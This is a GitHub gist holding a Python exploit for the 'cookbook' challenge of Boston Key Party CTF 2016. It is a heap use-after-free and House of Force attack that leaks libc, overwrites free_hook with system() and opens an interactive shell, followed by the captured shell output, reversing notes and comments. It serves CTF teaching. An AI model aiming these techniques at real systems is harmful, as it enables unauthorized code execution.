Last active
June 6, 2022 11:54
-
-
Save LiveOverflow/dadc75ec76a4638ab9ea to your computer and use it in GitHub Desktop.
Exploit for cookbook challenge from Boston Keyparty CTF 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import sys | |
import subprocess | |
import socket | |
import telnetlib | |
import ctypes | |
""" | |
Cookbook - 6 - 0 solves : pwn: a top chef wrote this cookbook for me but i think he has an extra secret recipe! | |
https://s3.amazonaws.com/bostonkeyparty/2016/58056c425dc617b65f94a8b558a4699fedf4a9fb.tgz | |
cookbook.bostonkey.party 5000 | |
Video write-up: | |
* Part 1 - Reverse Engineering the binary - https://www.youtube.com/watch?v=f1wp6wza8ZI | |
* Part 2 - Leaking heap and libc address - https://www.youtube.com/watch?v=dnHuZLySS6g | |
* Part 3 - Creating an arbitrary write - House of Force - https://www.youtube.com/watch?v=PISoSH8KGVI | |
All my video write-ups as YouTube playlist: https://www.youtube.com/watch?v=f1wp6wza8ZI&index=1&list=PLhixgUqwRTjywPzsTYz28I-qezFOSaUYz | |
References: | |
http://phrack.org/issues/66/10.html | |
https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/ | |
""" | |
# ====================================================== | |
# SETUP / HELPER FUNCTIONS | |
# ====================================================== | |
PRINTF_OFFSET = None | |
FREE_HOOK_OFFSET = None | |
SYSTEM_OFFSET = None | |
LEAKED_HEAP_ADDR = None | |
FREE_HOOK_PTR = None | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
# convert 0x44434241 -> "\x41\x42\x43\x44" | |
p32 = lambda x: struct.pack("I", x) | |
# convert signed int to unsigned -1 -> 0xffffffff | |
def stou(i): | |
return ctypes.c_uint32(i).value | |
# receive all strings until timeout hits | |
def recv_all(): | |
b = "" | |
last_recv = True | |
while last_recv: | |
try: | |
last_recv = s.recv(1024) | |
except socket.timeout: | |
last_recv = None | |
if last_recv: | |
b += last_recv | |
return b | |
# send string over socket | |
def send(msg): | |
s.send(msg+'\n') | |
# define some variables for local testing or target server | |
if len(sys.argv)>1 and sys.argv[1] == 'bkpctf': | |
s.settimeout(0.5); s.connect(('cookbook.bostonkey.party', 5000)) | |
FREE_HOOK_OFFSET = 0x14377a + 0x73886 - 0x9c | |
PRINTF_OFFSET = 0x4a130 | |
SYSTEM_OFFSET = 0x3b160 | |
else: | |
s.settimeout(0.05); s.connect(('192.168.9.110', 2323)) | |
FREE_HOOK_OFFSET = 0x13339a + 0x76c66 - 0xa0 | |
PRINTF_OFFSET = 0x4d280 | |
SYSTEM_OFFSET = 0x40190 | |
# ====================================================== | |
# HEAP HELPER FUNCTIONS | |
# ====================================================== | |
# will allocate <nr> amount of small chunks to fill holes and line everything up | |
def fill_heap(nr): | |
print "| heap grooming. Fill heap holes with 0x{:x} small chunks".format(nr) | |
for i in xrange(0,nr): | |
send("g") # [g]ive your cookbook a name! | |
send(hex(0x5)) # size of name in hex | |
send(str(i)) # name of cookbook | |
# creates a recipe, dsicards it. At it's place allocate a new Ingredient and adds it to it's list. | |
# ingredient list: [ingredient addr][next] | |
def add_leak(addr,groom=0x200): | |
# groom will fill up all fragemnted heap chunks. So we have a nice new fresh aligned heap to start with. | |
if groom>0: | |
fill_heap(groom) | |
send("c") # [c]reate recipe | |
send("n") # [n]ew recipe | |
send("g") # [g]ive recipe a name | |
send("XXX") # recipe name | |
send("n") # [n]ew recipe | |
send("g") # [g]ive recipe a name | |
send("XXX") # recipe name | |
# throw away recipe,free its space | |
send("d") # [d]iscard recipe | |
send("q") # [q]uit | |
# add a new ingredient. Will set INGREDIENTLIST. INGREDIENTLIST will be in range of freed recipe | |
send("a") # [a]dd ingredient | |
send("n") # [n]ew ingredient? | |
send("g") # [g]ive name to ingredient? | |
send("AAAA1111") # name of ingredient | |
send("e") # [e]xport saving changes (doesn't quit)? | |
send("q") # [q]uit (doesn't save)? | |
recv_all() | |
print "| overwriting ingredient list with stale recipe pointer to leak 0x{:08x}".format(addr) | |
send("c") # [c]reate recipe | |
send("g") # [g]ive recipe a name | |
OVERWRITE = "AAAABBBBCCCC"+p32(addr)+p32(0x00000000) # Write next ingredient that is added/saved at this address | |
send(OVERWRITE) # name of recipe overwrite address if ingredient list | |
send("q") # [q]uit | |
recv_all() | |
# add_leak adds new addresses to leak to the ingredient list | |
# this function reads the list and gathers all leaked values | |
def parse_ingredient(): | |
recv_all() | |
send("l") # [l]ist ingredients | |
ingredient_list = recv_all().split("------") | |
leaked = [] | |
for ingredient in ingredient_list[1:-1]: | |
leak = ingredient.split("\n")[-3:-1] | |
leaked.append(stou(int(leak[0][10:]))) | |
print "| leaked: {}".format(" ".join(["[0x{:08x}]".format(i) for i in leaked])) | |
return leaked | |
# ====================================================== | |
# START OF EXPLOIT | |
# ====================================================== | |
recv_all() # recv_all just to ignore the data sent to us | |
send("liveoverflow") # your name | |
print recv_all().split("====================")[0] # print banner | |
print "" | |
print "+=============================================================+" | |
print "| LEAK HEAP ADDRESSES" | |
print "+=============================================================+" | |
# leaks a heap address by allocating a recipe, adding ingredient places [cost][calories][ingredient] on heap. | |
# free writes heap address at location of cost. leak. | |
# the heap is always aligned and deterministic, so even though it has ASLR, | |
# we can use this to predict future locations of stuff on the heap | |
send("c") # [c]reate recipe | |
send("n") # [n]ew recipe | |
send("a") # [a]dd ingredient | |
send("basil") # name of ingredient | |
send("0") # amount of ingredient | |
send("p") # [p]rint current recipe | |
send("d") # [d]iscard recipe | |
recv_all() | |
send("p") # [p]rint current recipe | |
resp = recv_all() # will leak a heap pointer | |
LEAKED_HEAP_ADDR = int(resp.split("\n")[3].split("-")[0]) | |
send("q") # [q]uit | |
print "| leaked heap address 0x{:08x}".format(LEAKED_HEAP_ADDR) | |
# remove all ingredients from the ingredient. Just makes it nicer for parse_ingredient. | |
# not important for exploit | |
print "| remove all normal ingredients." | |
send("e") # [e]xterminate ingredient | |
send("water") # name of ingredient | |
send("e") # [e]xterminate ingredient | |
send("tomato") # name of ingredient | |
send("e") # [e]xterminate ingredient | |
send("basil") # name of ingredient | |
send("e") # [e]xterminate ingredient | |
send("garlic") # name of ingredient | |
send("e") # [e]xterminate ingredient | |
send("onion") # name of ingredient | |
send("e") # [e]xterminate ingredient | |
send("lemon") # name of ingredient | |
send("e") # [e]xterminate ingredient | |
send("corn") # name of ingredient | |
send("e") # [e]xterminate ingredient | |
send("olive oil") # name of ingredient | |
recv_all() # ignore received data. | |
raw_input("| continue?...") | |
print "" | |
print "+=============================================================+" | |
print "| LEAK PRINTF@GOT TO CALCULATE LIBC ADDRESS |" | |
print "+=============================================================+" | |
# ASLR is enabled, but application itself doesn't use ASLR | |
# So we know the address from GOT | |
print "| add address 0x{:08x} from GOT to leak.".format(0x804D010) | |
add_leak(0x804D010, groom=0x200) # add a GOT address to leak function addresses | |
leaked = parse_ingredient() # get the leaked data | |
print "| printf@GOT: 0x{:08x}".format(leaked[0]) # first address is address of printf() | |
LIBC = leaked[0] - PRINTF_OFFSET # use offset of printf to calculate LIBC base | |
print "| libc base address: 0x{:08x}".format(LIBC) | |
raw_input("| continue?...") | |
print "" | |
print "+=============================================================+" | |
print "| USE LIBC ADDRESS TO GET FREE_HOOK POINTER |" | |
print "+=============================================================+" | |
FREE_HOOK_PTR = LIBC+FREE_HOOK_OFFSET # with the LIBC base we can calculate the address of the free_hook pointer | |
print "| try to leak free_hook address from 0x{:08x}".format(FREE_HOOK_PTR) | |
add_leak(FREE_HOOK_PTR, groom=0x200) # add pointer to free_hook address to the leaking ingredients list | |
leaked = parse_ingredient() | |
FREE_HOOK = leaked[-1] | |
print "| got free_hook address: 0x{:08x}".format(FREE_HOOK) | |
fill_heap(0x100) # some heap grooming. align everything nicely | |
raw_input("| continue?...") | |
print "" | |
print "+=============================================================+" | |
print "| OVERWRITING THE WILDERNESS |" | |
print "+=============================================================+" | |
# we want to overwrite the last value on the heap which says how much space is left | |
# in this heap arena. We overwrite it with 0xFFFFFFFF. So malloc() will never think the | |
# heap is low on memory, and never mmap() new memory for it. Thus we can basically | |
# write everywhere | |
print "| create another stale recipe pointer" | |
send("c") # [c]reate recipe | |
send("n") # [n]ew recipe | |
send("d") # [d]iscard recipe | |
send("q") # [q]uit | |
print "| create two ingredients and remove one" | |
send("a") # [a]dd ingredient | |
send("n") # [n]ew ingredient? | |
send("n") # [n]ew ingredient? | |
send("d") # [d]iscard current ingredient? | |
send("q") # [q]uit (doesn't save)? | |
print "| Use after free recipe overwriting the wilderness with 0xFFFFFFFF" | |
send("c") # [c]reate recipe | |
send("g") # [g]ive recipe a name | |
send(p32(0x0) + p32(0x0)+ p32(0xFFFFFFFF) + p32(0x0)) | |
send("q") # [q]uit | |
raw_input("| continue?...") | |
print "" | |
print "+=============================================================+" | |
print "| OVERWRITING THE av->top POINTER WITH ADR NEAR FREE_HOOK |" | |
print "+=============================================================+" | |
HEAP_WILDERNESS = LEAKED_HEAP_ADDR+0x6b1c # calculate the current end (the wilderness) of the heap | |
print "| the wilderness (top/last heap block) is at 0x{:08x}".format(HEAP_WILDERNESS) | |
HEAP_INFO = LIBC-0x1000 # calculate the address where the HEAP info, like the av->top struct is stored | |
print "| all the heap info stuff is at 0x{:08x}".format(HEAP_INFO) | |
MAGIC_MALLOC = (FREE_HOOK-16)-HEAP_WILDERNESS+0x26c8 # calculate the MAGIC_MALLOC valie | |
print "| this magic malloc(0x{:08x}) value will transfor av->top pointer to point to free_hook".format(MAGIC_MALLOC) | |
raw_input("| continue?...") | |
print "" | |
print "+=============================================================+" | |
print "| OVERWRITING FREE_HOOK WITH SYSTEM() |" | |
print "+=============================================================+" | |
send("g") # [g]ive your cookbook a name! | |
send(hex(MAGIC_MALLOC)) # use the magic malloc number | |
send("X") # name | |
# the next malloc will allocate a block at free_hook, thus we can write anything to that address | |
# we write the address of system() to it | |
print "| overwrite free_hook with system() 0x{:08x}".format(LIBC+SYSTEM_OFFSET) | |
send("g") # [g]ive your cookbook a name! | |
send("0x5") # length of name | |
send(p32(LIBC+SYSTEM_OFFSET)) | |
raw_input("| continue?...") | |
print "" | |
print "+=============================================================+" | |
print "| !!! LET'S HOPE WE HAVE A SHELL !!! |" | |
print "+=============================================================+" | |
while True: | |
cmd = raw_input("~LO> ") | |
send("g") # [g]ive your cookbook a name! | |
send(hex(len(cmd)+2)) # length is the size of the command | |
send(cmd) # send command | |
recv_all() | |
# free the cookbook name to trigger the free_hook | |
send("R") # [R]emove cookbook name | |
print recv_all().split("====================")[0] | |
""" | |
Cool Trick: | |
recv_all() | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
Shell: | |
> id | |
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) | |
> uname -a | |
Linux ip-172-31-61-128 3.13.0-74-generic #118-Ubuntu SMP Thu Dec 17 22:52:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux | |
> ls -la | |
total 1816 | |
drwxr-xr-x 2 cooking-manager cooking-manager 4096 Mar 5 01:38 . | |
drwxr-xr-x 3 root root 4096 Mar 4 03:51 .. | |
-rw-r--r-- 1 cooking-manager cooking-manager 220 Mar 4 03:51 .bash_logout | |
-rw-r--r-- 1 cooking-manager cooking-manager 3771 Mar 4 03:51 .bashrc | |
-rw-r--r-- 1 cooking-manager cooking-manager 675 Mar 4 03:51 .profile | |
-rwxr-xr-x 1 root root 17936 Mar 4 04:05 cookbook | |
-rw-r--r-- 1 root root 38 Mar 5 01:38 key | |
-rwxrwxr-x 1 cooking-manager cooking-manager 1807496 Mar 4 04:10 libc.so.6 | |
-rwxr-xr-x 1 root root 136 Mar 4 23:46 run.sh | |
> cat key | |
BKPCTF{hey_my_grill_doesnt_work_here} | |
https://twitter.com/LiveOverflow/status/706543494794444802 | |
"Solved a challenge over my skill level at @BkPctf. Worked on it over 24h... Exhausted but proud! | |
20423924ec8e9218332289519b7d74e258a84910" | |
$ echo -n "LiveOverflow - BKPCTF{hey_my_grill_doesnt_work_here}" | sha1sum | |
20423924ec8e9218332289519b7d74e258a84910 | |
""" | |
""" | |
[l]ist ingredients | |
* loop over ingredient list. Global Pointer 0x804D094 to array at 0x0804e510 (careful aslr) | |
* print ingredients | |
[r]ecipe book | |
* prints your name + recipe + ingredients of recipes | |
[a]dd ingredient | |
* currently edited ingredient stored at global var 0x804D09C (INGREDIENT) | |
[l]ist current stats? | |
* if INGREDIENT is set, print it | |
[n]ew ingredient? | |
* malloc(0x90), store pointer in INGREDIENT | |
[c]ontinue editing ingredient? | |
* ? no function ??? | |
[d]iscard current ingredient? | |
* free(INGREDIENT) - doesn't set INGREDIENT to 0... use after free | |
[g]ive name to ingredient? | |
* calloc(0x80) | |
* read name to INGREDIENT + 8 | |
[p]rice ingredient? | |
* store number at INGREDIENT + 4 | |
[s]et calories? | |
* store number at INGREDIENT + 0 | |
[q]uit (doesn't save)? | |
* just go back | |
[e]xport saving changes (doesn't quit)? | |
* save ingredient in ingredient list, set INGREDIENT to 0 | |
[c]reate recipe | |
* currently edited recipe stored at global var 0x804D0A0 (RECIPE) | |
[n]ew recipe | |
* calloc(0x40C), store pointer in RECIPE | |
[d]iscard recipe | |
* free(RECIPE) - doesn't reset RECIPE... use after free | |
[a]dd ingredient | |
* read 0x90 bytes on the stack as string and search ingredient | |
* if ingredient found, ask for how many should be added | |
* allocates small area to store points and number | |
* single linked list. start of linked list stored at RECIPE+0 | |
[r]emove ingredient | |
[g]ive recipe a name | |
* fgets(0x40) to *RECIPE+0x8C | |
[i]nclude instructions | |
* exactly the same function as give name | |
[s]ave recipe | |
[p]rint current recipe | |
* print receipe, follow | |
[q]uit | |
[e]xterminate ingredient | |
[d]elete recipe | |
[g]ive your cookbook a name! | |
[R]emove cookbook name | |
[q]uit | |
""" |
man i want be reverse engineer , uh , may allah help me
it's almost more than a year, how's your reversing going on?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
keep going man , your the best i see